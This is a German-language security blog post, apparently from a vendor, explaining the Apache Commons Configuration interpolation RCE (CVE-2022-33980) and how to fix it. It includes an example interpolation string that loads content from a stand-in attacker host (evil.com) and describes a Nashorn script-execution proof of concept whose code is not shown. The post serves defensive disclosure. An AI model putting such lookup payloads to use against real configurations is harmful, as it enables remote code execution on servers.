CVE-2022-33980: Die RCE-Sicherheitslücke in der Apache Commons Configuration im Detail
Kyle Suero
8. Juli 2022
0 Min. LesezeitBevor wir uns die Details dieser Sicherheitslücke ansehen, möchten wir klarstellen: Es besteht kein Grund zur Panik. Viele Systeme erlauben verschiedene Arten von Code in Konfigurationsdateien, und es gibt legitime Anwendungsfälle für die Einbindung von Zeichenfolgen- und Variableninterpolation in die Konfiguration von Anwendungen und Systemen. Dies ist nicht einfach Log4Shell 2.0. Es geht um die Manipulation einfacher Konfigurationen. Wenn jemand Ihre Konfiguration oder die dynamischen Ressourcen, auf die sie möglicherweise verweist, ohne großen Aufwand ändern kann, haben Sie wahrscheinlich größere Probleme.
Sicherheitslücke in der Apache Commons Configuration
In Konfigurationsdateien von Apache Commons (in den Versionen 2.4 bis 2.7) ist mithilfe der standardmäßig aktivierten Variableninterpolation eine beliebige Codeausführung möglich. Die Ursache ist insbesondere die Funktion interpolate in der Klasse ConfigurationInterpolator.
In einem normalen Szenario erhält die Funktion interpolate einen Objektwert mit Variablen, die anschließend ersetzt werden, sofern sie aufgelöst werden können. Das Ergebnis ist ein übergebener Wert, in dem die Variablen ersetzt wurden – nützlich etwa bei unterschiedlichen Versionen in Entwicklungs- und Produktionsumgebungen. Kurz gesagt: Mit der Interpolationsfunktion lassen sich Konfigurationsparameter dynamisch auswerten. Dafür gibt es viele legitime Gründe.
Wenn diese Suchvorgänge jedoch über eine von Angreifern kontrollierte Konfigurationsdatei erfolgen, kann das erheblichen Schaden anrichten. Beispielsweise verwendet ${url:UTF-8:[https://www.evil.com](https://www.evil.com)} das URL-Präfix, mit dem sich externe Dateien und Konfigurationswerte laden lassen. Erlangt jemand durch einen Angriff (etwa eine Subdomain-Übernahme) die Kontrolle über die angegebene URL, kann die Person möglicherweise beliebigen Code auf Anwendungsservern ausführen. Das kann anschließend zu einer Ausbreitung im Netzwerk und einer weiteren Kompromittierung führen.
Neben dem URL-Suchpräfix sind standardmäßig weitere Präfixe aktiviert, um DNS-Einträge aufzulösen und Skripte auszuführen. Bei einer von Angreifern kontrollierten Konfiguration kann das verheerende Folgen haben.
Achten Sie auf eine ordnungsgemäße Bereinigung von Konfigurationen und bleiben Sie bei dynamischen Werten wachsam. Eine URL mag heute zu Ihrer Organisation gehören. Läuft die Domainregistrierung jedoch ab, kann ein Angreifer dynamische Konfigurationen kompromittieren, indem er sich die Domain sichert und schädliche Inhalte unter der ehemals legitimen URL bereitstellt.
Proof of Concept für die Apache Commons Configuration
Von Java 8 bis Java 15 war die Nashorn-Script-Engine standardmäßig in Java enthalten. Skripte lassen sich daher ohne zusätzlichen Aufwand ausführen. Nashorn bietet verschiedene Engines zum Ausführen von Skripten. Die folgenden Beispiele verwenden JavaScript und Nashorn, mit dem sich Java-Code ausführen lässt.
Im folgenden Beispiel verwende ich die Funktion interpolate(), um solche Skripte auszuführen. Der JavaScript-Code 5 + 4 ergibt 9. Der Java-Code mit nashorn führt den ProcessBuilder aus, der auf meinem Mac den Taschenrechner startet.
Hinweis der Redaktion: Um den obigen Code zu testen, müssen Sie das „a“ in „java“ und das „s“ in „values“ ersetzen.
Das zweite Beispiel zeigt, wie eine schwerwiegende Sicherheitslücke zur beliebigen Codeausführung entstehen kann, wenn ein Benutzer die Eingabe der Funktion interpolate() beeinflusst. Einen Taschenrechner zu starten, ist zwar nicht besonders aufregend, doch dieselbe Technik lässt sich für einen Reverse-Shell-Angriff oder Schlimmeres einsetzen.

Beachten Sie, dass Nashorn ab Java 15 nicht mehr standardmäßig verfügbar ist. Diese Skripte werden daher nur ausgeführt, wenn Sie selbst eine Script-Engine bereitstellen. Viele Unternehmen sind jedoch nach wie vor auf ältere Versionen wie Java 8 angewiesen, was ein ernstes Problem darstellen kann. Das ist ein gutes Beispiel dafür, warum Sie eine möglichst aktuelle Java-Version wie Java 17 (die neueste LTS-Version) verwenden sollten.
Apache Commons Configuration aktualisieren
Dieses Problem sollte ab Version 2.8 behoben sein, da die neueste Version die Präfixe URL, DNS und script standardmäßig deaktiviert. Für andere Arten von Suchvorgängen müssen die Systemeigenschaften geändert werden, damit sie ausgeführt werden können. Die Einschränkung der standardmäßig verfügbaren Suchpräfixe reduziert die Auswirkungen schädlich manipulierter Konfigurationsdateien erheblich.
Mit einem Scan von Snyk können Sie feststellen, ob diese Sicherheitslücke in Ihrem Stack vorhanden ist. Wird sie erkannt, aktualisieren Sie auf Version 2.8 und führen Sie snyk monitor in der CLI aus, um Ihre Produktionsumgebung weiterhin zu überwachen.
Starten Sie mit Capture the Flag
Erfahren Sie in unserem virtuellen On-Demand-Workshop für Einsteiger, wie Sie Capture-the-Flag-Herausforderungen lösen.



